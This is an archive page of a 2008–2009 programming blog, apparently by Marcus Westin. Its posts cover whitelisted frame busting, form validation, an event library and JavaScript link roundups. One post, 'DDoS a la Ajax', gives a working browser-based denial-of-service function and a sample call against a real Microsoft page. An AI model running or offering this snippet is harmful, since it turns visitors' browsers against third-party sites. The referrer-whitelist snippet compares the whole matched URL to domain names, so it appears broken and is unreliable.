Archive for the ‘Programming’ Category

Pick your busts with oFrameBust

Sunday, April 12th, 2009

Update 04-13-09: In focusing on cross-domain communication, I completely overlooked the obvious solution: document.referrer. Assuming document.referer works reliably for iframes cross browser, tather than using oframebust, sites should just do:

(function(){
   var whitelist = ['digg.com', 'facebook.com', 'www.facebook.com'];
   if (window.top.location != window.location) {
      var match = document.referrer.match(/^https?:\/\/([^:\/\s]+)\/?.*/);
      if (match) {
         var domain = match[0];
         for (var i=0; i < whitelist.length; i++) {
            if (domain == whitelist[i]) { return; }
         }
      }
      window.top.location = window.location;
   }
})();

Original post:

One problem it could still potentially solve is the issue of removing the bar once the user navigates away. Could we perhaps use it to communicate to the top frame that the user has navigated away to a new page?

Cheers,
Marcus

The iFrame is an important element in the HTML toolkit. However, while providing crucial functionality it also enables certain nuisances. http://www.meebo.com.br/ is a good example of iframe absue - the domain com.br iframes meebo.com and sticks a banner ad on top of it.

There is a well known solution to this problem - it is called frame busting:

<script type="text/javascript">

if (top.location != location) { top.location = location; }

</script>

However, this solution blindly busts out of all frames. What if you would want to allow for e.g. digg to iframe you, in order to allow for digg visitors to further digg your site and increase your traffic? It would look something like this:

<script type="text/javascript">

if ( ! top.location.domain.match(/digg.com$/) ) {

top.location = location;

}

</script>

This would effectively frame bust all sites but digg.com, were it not for the cross domain policy causing an error when you try to access top.location.domain or top.location.toString(), when top is on a different domain (toString gets called at any time you compare the location object to a string, e.g. top.location == “digg.com”).

oFrameBust is a protocol and an implementation designed to tackle this issue. The protocol works as follows:

Say digg.com wants to iframe http://blog.narcvs.com/?p=55. I permit this, along with say facebook.com and marcuswestin.com, but I don’t want anyone else to iframe my site. On blog.narcvs.com, I just include the oframebust script and list the domains I want to allow:

<script type="text/javascript" src="http://oframebust.com/oframebust.js">

oFrameBust('digg.com', 'www.facebook.com', 'www.marcuswestin.com');

</script>

Then when digg wants to iframe me, they pass in the oframebust parameter declaring their domain:

http://blog.narcvs.com/?p=55&oframebust=digg.com

The oframebust script automatically detects the oframebust GET parameter, and uses it to create an iframe to http://digg.com/oframebust.html - since this page lives on the digg.com, it is allowed to read the top.location.hostname - if the top frame indeed is digg.com!

Now, there is the risk that the top framer is spoofing the digg.com domain. In order to protect from this, the oframebust script passes in the current page url to the oframebust.html page living on diggs domain:

http://digg.com/oframebust.html?http://blog.narcvs.com/?p=55

At this point, if the top frame was spoofing the digg.com domain, the digg.com oframebust page uses the url that was passed in in order to frame bust:

try {

top.location.hostname.toString()

} catch(e) {

top.location=decodeURIComponent(location.search.substr(1))

}

All together, the oframebust protocol is an open source, transparent solution to white listed frame busting! There is already an implementation in place: if you want to whitelist domains, just put

<script type="text/javascript" src="http://oframebust.com/oframebust.js">

oFrameBust('digg.com', 'facebook.com', 'www.facebook.com', 'marcuswestin.com');

</script>

on your site. Then all you’ve got to do is convince those websites to include the oframebust.html page on their domain.

That’s it! Let’s solve this problem as a community, shall we?

Twitter search adds expansion of tinied URLs

Saturday, March 14th, 2009

Since Twitter enforces a 140 character limit, long URLs are often shortened using any of many “tiny url providers” (TinyURL, tr.im, shorl…)

The problem with the tiny url’s is that you can’t see where they lead from looking at the address. A number of services have emerged to solve this problem, such as untiny and the Ubiquity command.

However, these are solutions are really just workarounds to a central of Twitter’s - and Twitter is stepping up to address it!

I just noticed that in Twitter search, they append an “expand link” right after tiny url’s. I would expect them to either add this option around their site, or optionally auto-expand tiny urls for you.

Screenshots:

After clicking the expand link:

Nice work Twitter!

Raising the bar - whitelisted frame busting

Monday, March 2nd, 2009

There’s an interesting new trend emerging among web companies - putting a contextualized bar on top of external pages.

StumbleUpon has been doing this for a long time, but the broader trend seems to be new. Facebook started doing it not too long ago, and Digg’s version is currently in beta testing.

The common denominator of the “bar companies” is a wealth of links passing through their servers. They rewrite links passed through their network to point to a page on their own domain, on which they have a bar on top and an iframe below that includes the original, external site.

Being iframed can be annoying, and is easy to avoid. The following javascript snippet “frame busts” your site such that no one can iframe you:

if (location != top.location) { top.location = location }

However, some of these top bars may very well add value to your site. For example, your site becomes more viral - a visitor with the bar on top is probably more likely to share that page with a friend than someone without the bar. Can you allow for some sites to iframe you, but not others? It would look something like:

function frameBustSelectively() {
  // if we're not being framed, just return
  if (top.location == location) { return; }

  // if we're framed by an ok site, just return
  var okDomains = {
    'www.digg.com': true,
    'www.stumbleupon.com': true,
    'www.facebook.com': true
  }
  if (top.location.hostname.toString() in okDomains) { return; }

  // we're framed by a not-ok site - frame bust...
  top.location = location;
}

This is unfortunately not possible. The browser same-origin security model allows you to compare the locations of your current frame and the “top” frame. However, you are not allowed not “inspect” the location of the top frame if it is not on your domain. top.location.hostname.toString() will throw an exception…

So do we give up and call it a day? No - we solve it as a community.

This morning I registered www.oFrameBust.com (in the spirit of oEmbed.com). When it comes up in a day or two there will be a javascript include that you can include on your site that will allow for us as a community to go towards whitelisted iframing. How? Well, it requires some cooperation - but it works:

If you want to iframe a page, you pass in an extra oFrameBust=[your domain] parameter in the GET query of the url. The iframed page will have to include the oFrameBust javascript - if it does, the script will parse the oFrameBust domain out of the GET query, and match it against a white list of allowed domains. If there is a match, the script creates an offscreen iframe pointing to [domain]/oFrameBust.html?url=[document.location.href].

That’s the magic moment. Since you allowed to communicate information through the url to other domains, we now have a page that both knows the current page’s url, and is allowed to inspect the location of the top frame. At this point the oFrameBust.html page can verify that the top frame is indeed the whitelisted domain that was passed in through the oFrameBust get parameter by attempting to read the top.location in a try { } catch(e) { } statement. If it is, everything is well! If not - well, then you just parse out the url of the page that was passed in to [domain]/oFrameBust.html, which used that to say top.location=[url];

I’ve got a prototype of this that will be up on www.oFrameBust.com in two days. Keep an eye out! This is totally intended to be an open source, transparent project, so if you’re interested let me know and I’ll keep you in the loop. After all, this could only succeed as a community.

FormLess - style agnostic and auto-validating forms

Thursday, January 1st, 2009

Creating HTML forms can be a drag. Validating the form input is even worse. I wrote up a javascript utility to demonstrate how easy and enjoyable it could (should) be to create forms. Check out the demo. You create a form with:

new FormLess('form-container-element-id', items);

where items is an array of objects. Each item requires at least a name and a type, but could also take an array of options or a validation function that gets called to validate the value of that item.

items = [{
  name : 'Gender',
  type : 'select',
  options : ['None of your business', 'Male', 'Female'],
  validate : function(data) {
    return data && data != 'None of your business'
  }
}]

Each time an item’s value changes, the validation function gets called for that item. If a validation function returns false, the item gets marked as invalid. Valid and invalid items can be styled however you please:

.valid {
  background-color : green;
}

.invalid {
  background-color : red;
}

When the form is submitted, each item gets has its validation function called. If all validation functions pass, the submit function gets called along with a key-value object containing the items names and values. This tool has not been tested across browsers - it’s mostly a demonstration of how easy it should be to gather and handle user-entered data. Check out the demo Screenshot of FormLess demo application

DDoS a la Ajax

Monday, December 1st, 2008

Q: What’s the difference between a botnet and a popular web service?

A: The web service can only attack port 80.

Imagine a web site with a million simultaneous users. Then imagine putting the following snippet on each of their page views:

function ddosAttack(url, timeLeft, times) {
  times = times || 1;
  window.setTimeout(function() {
    while (times--) {
      var script = document.createElement('script');
      script.src = url + (url.match(/\?/) ? '&' : '?') + Math.ceil(Math.random() * 10000);
      document.getElementsByTagName('head')[0].appendChild(script);
    }
  }, timeLeft);
}

Voila - point the url towards a web page with reasonably heavy html content, and your 1 million users should be able to bring it down reasonably easily. Turn it on, launch attack, turn it off.

Without the help of a tech-savy user with http analyzer or firebug watching traffic closely, the victim will not be able to trace the attack to your website.

It is also virtually impossible to distinguish the attack traffic from legitimate traffic.

While the issue of botnet attacks is not a new one, the threshold of participation is significantly lower for a website than with malware. Simply clicking that link is enough.

Add widgets to the mix, and it gets even uglier.

What would an attack look like? Maybe something like:

ddosAttack('http://www.microsoft.com/windows/ie/ie6/downloads/default.mspx', 1000, 10);

Ajaxlights: selenium, meer meer, microformats, lunascape & keybordr

Wednesday, November 26th, 2008

Selenium allows for automated testing of web applications. Crucial to fight regression.

As a potential alternative to selenium, check out ajaxian’s post on upcoming meer meer.

Microformats complements RSS feeds in that rather than seperating form from content, it adds semantics to content. Tantek Celik has written a series of high quality posts to get you started with microformats.

The Lunascape browser from Japan bundles the engines behind Firefox, Safari and IE in a single browser.

Keybordr, a innovative search UI. web UX at its best. Kudos to Julius, Udschal and Vugar.

If you like money, check out Anu Shukla’s post on virtual currency at “Inside Facebook” for great tidbits of insight.

Ajaxlights. 3D web, JS editor, Web-born UI paradigms

Wednesday, November 19th, 2008

Awesome 3D rendering engine for the canvas tag by Peter Nederlof. Very impressive. Here’s a short screencast of it in action - note that this is a *web page* with *no flash*.

3D canvas demo3D canvas demo

Maxime Haineault has created a new UI for picking time - I can totally see this as a new web-born UI practice much like the Lightbox.

EtherPad has made it possible to collaborate on writing JavaScript code in the browser!

EthaPad collaborative javascript editing

Lightweight Javascript Event Handling Library

Friday, July 25th, 2008

A super-lightweight Event Handling javascript library:

// Author: Marcus.Westin@gmail.com, July 25th

function EventBroadcaster(signals) {
  this.events = {};
  for (var i=0; i < signals.length; i++) {
    this.events[signals[i]] = [];
  }
}

EventBroadcaster.prototype.subscribe = function(signal, args){
  if (!this.events[signal]) { throw ('EventBroadcaster.prototype.subscribe: event name not recognized: ' + signal); }
  if (!args.handler) { throw ('EventBroadcaster.prototype.subscribe: no handler given.')}
  args = args || {};
  function makeArray(arg) {
    return arg ? (arg instanceof Array ? arg : [arg]) : [];
  }
  this.events[signal].push({
    handler : function(handlerArgs){
      args.handler.apply((args.scope || window), makeArray(args.curry).concat(makeArray(handlerArgs)));
    },
    once : args.once
  });
}

EventBroadcaster.prototype.once = function(signal, args) {
  args = args || {};
  args.once = true;
  this.subscribe(signal, args);
}

EventBroadcaster.prototype.broadcast = function(signal, broadcastArgs) {
  if (!this.events[signal]) { throw ('EventBroadcaster.prototype.broadcast: event name not recognized: ' + signal); }
  var subscriptions = this.events[signal];
  for (var i=0; i < subscriptions.length; i++) {
    subscriptions[i].handler && subscriptions[i].handler(broadcastArgs);
    subscriptions[i].once && delete subscriptions[i];
  }
}


A Demo is available of a 50-lines mockup Email client interface using the event library for : Event handling is a great pattern for a system with many complex components than need to interact in a loosely coupled manner. For example, in an email UI where the user clicks on an unread email, at least two things have to happen:

  • The central view changes to the content of the email
  • The inbox “unread” count decreases by one

Intuitively, the unread email link could “tell” the central view to change as well as “tell” the inbox count to decrease. However, what if you want to add a third functionality, e.g.

  • notify the server that the email has been read

An alternative intuition says that as the email link has to notify more and more components of what happened, rather than running around to each one of them it could just do a general “Email X was activated!” and each component that cares could then act accordingly. This is how an event management system with Subscribe and Publish (PubSub) works, and allows for among other things a stepwise development process of complex UI’s.

Ajaxlights: In-Browser Javascript Caching, Sounds, and Cross Domain Brawls

Tuesday, July 8th, 2008

Inventive front end developers keep finding ways to push the capabilities of the browser. A recent favorite of mine, quipt, allows you to dynamically load javascript files and automatically cache them - get this - in the window.name attribute.

Some websites abuse sound, but this does not take away the fact that sounds can be an extremely useful UI component that is certainly under-utilized on the web. If you have a good use case, then let SoundManager2 take care of the heavy tech-lifting.

Follow-up on last week’s mention of “TCP sockets” in the browser: HTML 5 WebSockets.

Ajaxian report and comment roll on Microsoft’s paper about cross domain request insecurities.

If you ever need to sanitize HTML for href="javascript: ... ", don’t do it by blacklisting javascript: ! The Javascript Protocol Fuzzer is a good reason why. Check it out.

Ever wished your favorite webapp could be native to your OS? Do you use OS X? You’re in luck - check out Fluid. Freakin’ awesome.

Not Ajax related, but totally cool: a visualization of the birth and growth of Python over time.

Ajaxlights: TCP, bindings, jQ file tree, on-demand js

Thursday, July 3rd, 2008

“TCP sockets” in the browser:

  1. var conn = new TCPSocket(hostname, port)

  2. conn.onopen = function() { alert(‘connection opened!’) }
  3. conn.onread = function(data) { alert(‘RECEIVE: ‘ + data) }
  4. conn.onclose = function(data) { alert(‘connection closed!’) }

  5. conn.send(‘Hello World’);

If you like Cocoa bindings, keep an eye out for the opening of http://objective-j.org/. Check out the demo app, 280 Slides.

jQuery UI is looking more and more promising. A recent file tree component looks great.

Resource/packet management is still a bit of a drag in javascript. Here are two great candidates: module.js and ensure. Alex Russel used similar techniques to push initial dojo load size down to 6k!

Javascript is on the verge of being typed. Ecmascript 4 can now be converted into 1.2 javascript with Mascara. On a related note, here’s a nice writeup/example on the potential usefulness of typed js.

Oh, and on an unrelated note: if you haven’t checked it out yet, go get jott.com. I now twitter only by talking :P